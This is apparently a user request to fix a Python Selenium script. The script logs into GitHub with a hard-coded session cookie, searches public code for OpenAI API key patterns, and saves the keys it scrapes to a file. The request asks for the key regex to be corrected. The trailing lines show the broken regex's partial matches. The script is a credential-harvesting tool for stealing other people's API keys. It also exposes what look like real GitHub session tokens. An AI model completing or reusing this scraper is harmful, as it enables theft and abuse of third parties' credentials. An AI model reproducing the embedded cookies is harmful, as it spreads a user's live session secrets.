make correct openai key parsing:


import re
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# --- Configuration for GitHub Search ---
GITHUB_SEARCH_URL_TEMPLATE = "https://github.com/search?q=sk-+client.chat.completions.create&type=code&p={}"  # GitHub search URL template with page number
GITHUB_COOKIE = "_octo=GH1.1.741544716.1732463776; _device_id=1ede205fdb4be1c3551216f85106a085; saved_user_sessions=95234687%3AG1PRG9gN4JC_Zua493K0pJiRx5q0o4mXjHKBTMVQjmHbbR2v; user_session=G1PRG9gN4JC_Zua493K0pJiRx5q0o4mXjHKBTMVQjmHbbR2v; __Host-user_session_same_site=G1PRG9gN4JC_Zua493K0pJiRx5q0o4mXjHKBTMVQjmHbbR2v; logged_in=yes; dotcom_user=kaneious; color_mode=%7B%22color_mode%22%3A%22auto%22%2C%22light_theme%22%3A%7B%22name%22%3A%22light%22%2C%22color_mode%22%3A%22light%22%7D%2C%22dark_theme%22%3A%7B%22name%22%3A%22dark%22%2C%22color_mode%22%3A%22dark%22%7D%7D; cpu_bucket=md; preferred_color_mode=dark; tz=Asia%2FQyzylorda; _gh_sess=3E%2FkkxceqiOHEM%2FlgzqDiAH60DL3zjjQfx8qtpxnSi7G7T%2BIj31DLo0I%2FfbT0t6loBiVVKdbEMQ5jHNnBNj3PxXIZhtNIURF1igOsjyMXxmu39Q%2BYpCZYHmJGwSxSuFKz8WDNdOKFMtLubYKOeyOQQAChExTxsqdsbWxryXmzdm3LalRSSk6OCi6oFMhqOG3%2Fe%2BcVBhVPbqLRYWjvXkxDXY%2B46fMMXXWGM5TNgVeF9xyn2ortbRs%2FxDlJgTGzO15knlHcNoUXLhdMD8afng%2Byv9%2FaHQbpT6NSLGYYKtUnvElD6M%2FrKABBcBSajGZhXkrB28t%2FcUIqIlhDbtqlVuYatmt4Q9ZcCVlaHKnZ7Zpip4%3D--CvrTypUBNk4%2Bp%2BW1--9jhruYnBjs2Yv4XROE7PMw%3D%3D" # Your cookie string here
OPENAI_API_KEY_REGEX = r"sk-[0-9a-zA-Z]"  # Regex for OpenAI key format  # Or a broader regex if needed
CHROMEDRIVER_PATH = r'chromedriver.exe'  # Replace with the actual path to chromedriver.exe
NUMBER_OF_PAGES_TO_CHECK = 10  # Number of pages to check
POTENTIAL_KEYS_FILE = "potential_keys_openai.txt"  # File to save potential keys

# --- Functions for GitHub Search ---
def setup_driver():
    """Set up the Chrome driver."""
    chrome_options = Options()
    chrome_options.add_argument("--no-sandbox")
    chrome_options.add_argument("--disable-dev-shm-usage")
    chrome_options.page_load_strategy = 'normal'
    driver_service = Service(CHROMEDRIVER_PATH)
    driver = webdriver.Chrome(service=driver_service, options=chrome_options)
    driver.implicitly_wait(10)  # Implicit wait
    return driver

def add_cookie(driver, cookie_string):
    """Adds cookie to the driver."""
    driver.get("https://github.com")  # Go to GitHub to set cookie
    cookies = cookie_string.split(";")
    for cookie in cookies:
        try:
            name, value = cookie.strip().split("=", 1)
            driver.add_cookie({'name': name, 'value': value})
        except ValueError:
            print("Could not split cookie properly:", cookie)
            continue

def extract_keys_from_github_search(driver, url):
    """Extracts potential API keys directly from the GitHub search page source using regex."""
    print(f"Searching GitHub: {url}")
    driver.get(url)

    try:
        WebDriverWait(driver, 15).until(
            EC.presence_of_element_located((By.CSS_SELECTOR, "body")) # Just wait for the page to load
        )
    except Exception as e:
        print(f"Error waiting for page load: {e}")
        return []

    potential_keys = []
    page_source = driver.page_source
    matches = re.findall(OPENAI_API_KEY_REGEX, page_source)
    potential_keys.extend(matches)
    print(f"Found {len(potential_keys)} potential keys on this page.")    
    return potential_keys

# --- Main Script ---
if __name__ == "__main__":
    all_potential_keys = []  # List to store all potential keys
    driver = setup_driver()

    try:
        add_cookie(driver, GITHUB_COOKIE)  # Add cookie

        # Iterate through the specified number of GitHub search result pages
        for i in range(1, NUMBER_OF_PAGES_TO_CHECK + 1):
            github_search_url = GITHUB_SEARCH_URL_TEMPLATE.format(i)
            potential_keys = extract_keys_from_github_search(driver, github_search_url)

            if potential_keys:
                all_potential_keys.extend(potential_keys)  # Extend list with the new keys
            print(f"Finished checking page {i} of GitHub search results.")
            time.sleep(2) # Small delay

    finally:
        driver.quit()

    # Save all potential keys to file, removing duplicates
    if all_potential_keys:
        unique_keys = list(set(all_potential_keys)) # Remove duplicates
        with open(POTENTIAL_KEYS_FILE, "w") as f:
            for key in unique_keys:
                f.write(key + "\n")
        print(f"Potential keys saved to '{POTENTIAL_KEYS_FILE}'")

    else:
        print("No potential API keys found.")



sk-s
sk-l
sk-i